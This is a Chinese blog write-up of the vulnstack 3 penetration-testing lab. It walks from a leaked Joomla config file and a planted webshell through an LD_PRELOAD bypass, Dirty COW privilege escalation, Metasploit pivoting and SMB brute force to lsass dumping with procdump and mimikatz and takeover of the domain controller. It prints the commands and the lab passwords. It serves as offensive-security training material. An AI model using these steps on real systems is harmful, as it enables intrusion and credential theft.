红日安全实战vulnstack三

环境搭建:

我这里是使用虚拟机NET连接的。
修改centos上的网络适配器,选择NET.
然后centos上执行service network restart即可。

步骤

首先使用nmap扫描下存活主机,确认centos的ip地址。

root@kali:~/Desktop# nmap -sP 192.168.70.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 08:20 EST
Nmap scan report for 192.168.70.1
Host is up (0.0026s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.70.2
Host is up (0.000077s latency).
MAC Address: 00:50:56:FE:C8:A4 (VMware)
Nmap scan report for 192.168.70.137
Host is up (0.00020s latency).
MAC Address: 00:0C:29:32:46:C9 (VMware)
Nmap scan report for 192.168.70.254
Host is up (0.00017s latency).
MAC Address: 00:50:56:F9:36:DD (VMware)
Nmap scan report for 192.168.70.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.04 seconds

kali机ip为:192.168.70.128
centos机为:192.168.70.137

继续探测下centos机器上的情况。

root@kali:~/Desktop/joomscan-master# nmap -sV 192.168.70.137
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 08:25 EST
Nmap scan report for 192.168.70.137
Host is up (0.0042s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.3 (protocol 2.0)
80/tcp   open  http    nginx 1.9.4
3306/tcp open  mysql   MySQL 5.7.27-0ubuntu0.16.04.1
MAC Address: 00:0C:29:32:46:C9 (VMware)

发现开放了80,22,3306端口。
访问如下:

Alt text

发现为joomla,于是我们使用joomscan探测下情况。

+] Detecting Joomla Version
[++] Joomla 3.9.12

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing : 
http://192.168.70.137/administrator/components
http://192.168.70.137/administrator/modules
http://192.168.70.137/administrator/templates
http://192.168.70.137/images/banners


[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page : http://192.168.70.137/administrator/

[+] Checking robots.txt existing
[++] robots.txt is found
path : http://192.168.70.137/robots.txt 

Interesting path found from robots.txt
http://192.168.70.137/joomla/administrator/
http://192.168.70.137/administrator/
http://192.168.70.137/bin/
http://192.168.70.137/cache/
http://192.168.70.137/cli/
http://192.168.70.137/components/
http://192.168.70.137/includes/
http://192.168.70.137/installation/
http://192.168.70.137/language/
http://192.168.70.137/layouts/
http://192.168.70.137/libraries/
http://192.168.70.137/logs/
http://192.168.70.137/modules/
http://192.168.70.137/plugins/
http://192.168.70.137/tmp/


[+] Finding common backup files name
[++] Backup files are not found

[+] Finding common log files name
[++] error log is not found

[+] Checking sensitive config.php.x file
[++] Readable config file is found 
 config file path : http://192.168.70.137/configuration.php~



Your Report : reports/192.168.70.137/

发现他的版本为3.9.12,目前没有什么漏洞。
通过joomscan扫描我们发现了,它存在配置文件泄露,泄露地址:`http://192.168.70.137/configuration.php~'

通过配置文件,我们发现了其3306的用户名testuser和密码cvcvgjASD!@

Alt text

本地使用Navicat连接3306数据库。
在am2zu_users中找到了超级用户的账号和密码。

Alt text

但是密码是经过加密后的,暂时破解不出来,于是我们换个思路,我们已经上了数据库,所以我们可以直接更改密码,但是密码也必须是加密后的值。
本地搭建相同版本环境,要求username,email一样,获取已知密码加密后的值。
成功登陆后台

Alt text

在后台通过修改模板中的php文件进行getshell,这里我是通过在erros.php文件中,添加了冰蝎马。成功连接。

Alt text

后面在查看phpinfo时,突然发现怎么是ubuntu,不应该是centos吗???
那么只有一种可能了,centos可能只是用于转发流量,真正的服务是在ubuntu上的

随便翻了翻目录文件,突然在mysql文件下,有个test.txt文本,发现是一个用户,密码。先放着说不定后面有用。

Alt text

但是,在进行命令时,发现执行不了。
exec函数无法使用。
通过disable_funtions,发现大量执行函数被禁用。

Alt text

这里我们利用环境变量LD_PRELOAD来绕过php disable_function。参考文章:https://xz.aliyun.com/t/5320
使用方法见:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

成功绕过disable_funtions。
本想使用msf生成elf文件,反弹到msf上。可惜没有权限。当前的权限为www-data。

Alt text

使用ubuntu16.04本地提权漏洞,参考:https://www.cnblogs.com/hookjoy/p/8616250.html漏洞存在。但是因为权限实在太低了执行不了upstream文件。

实在没法了,想到了,我们原来找到了test.txt,但是不知道用户和密码是用在哪里的。
因为是mysql目录下找到的,所以可能是mysql用户,但是查看mysql用户组,并没有wwwuser用户,所以排除是mysql用户。

Alt text

还有可能是ssh用户密码。尝试连接192.168.70.137(centos) ssh。
成功连接。

Alt text

但是一样权限太低了,我们还是来进行提权操作。
查看centos版本及内核,发现可以使用CVE-2016-5195进行提权。

Alt text

成功提权,参考文章:https://www.jianshu.com/p/df72d1ee1e3e

于是msf生成一个linux木马,执行后,成功连接meterpreter。

Alt text

通过ipconfig发现了一个新网段。192.168.93.0

Alt text

后搭建rgGeorg进行内网探测。
发现了5台主机。
通过已知的探测,我们发现192.168.93.100是centos机,192.168.93.120是ubuntu机。

Alt text

我们继续向下探测。
发现

192.168.93.30为 Microsoft Windows 7,并且开放了139和445端口。
192.168.93.20为Microsoft SQL Server 2008机器并且开放1433(mssql),135,139,445端口。

192.168.93.10为Microsoft SQL Server 2012,并且开放445,139,135端口。

后使用ms17-010攻击,无果。于是我们尝试使用之前得到账号密码登陆,尝试进行机器登陆,未果。后来,问了下大佬,叫我进行本地爆破尝试下。

meterpreter > run autoroute -s 192.168.93.1/24

msf5 exploit(multi/handler) > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set rhosts 192.168.93.20
rhosts => 192.168.93.20
msf5 auxiliary(scanner/smb/smb_login) > set SMBUser administrator
SMBUser => administrator
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /root/Desktop
PASS_FILE => /root/Desktop
msf5 auxiliary(scanner/smb/smb_login) > unset PASS_FILE
Unsetting PASS_FILE...
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /root/Desktop/TOP1000.txt
PASS_FILE => /root/Desktop/TOP1000.txt
msf5 auxiliary(scanner/smb/smb_login) > run

最终成功爆破出来

[-] 192.168.93.20:445     - 192.168.93.20:445 - Failed: '.\administrator:198312',
[-] 192.168.93.20:445     - 192.168.93.20:445 - Failed: '.\administrator:198510',
[+] 192.168.93.20:445     - 192.168.93.20:445 - Success: '.\administrator:123qwe!ASD' Administrator
[*] 192.168.93.20:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

192.168.93.20的用户名为administrator,密码为123qwe!ASD

然后我们可以使用wmiexec或者psexec连接,得到一个shell。
但我这里环境有问题,整了我半天时间。都是使用reGeorg+proxychains代理上的ubuntu机器,发现都无法执行,wmiexec拒绝访问,psexec超时。最后使用的msf本生的路由进行代理wmiexec.

Alt text
于是我们进行域内简单信息收集一波。

Alt text
发现域名为test.org。接下来找域控。

Alt text

通过nslookup定位域控为192.168.93.10.也就是我们说的windows server 2012机器。
然后进行抓hash操作。
然后我们kali使用smbclient访问windows2008共享文件夹。
我们将procdump上传上去。
smb下使用
smb: \> put /root/Desktop/tools/Hash/procdump.exe ./procdump.exe
smb: \> get lsass.dmp /root/Desktop/lsass.dmp
wmiexec下使用
C:\>procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

windows本地进明文抓取

  • sekurlsa::minidump lsass.dmp
  • sekurlsa::logonpasswords full

成功抓取到明文。Administrator:zxcASDqw123!!
Alt text
最后一样使用用户密码通过wmiexec或psexec连接登陆即可拿下域控。

最后修改:2020 年 06 月 17 日 02 : 37 PM
如果觉得我的文章对你有用,请随意赞赏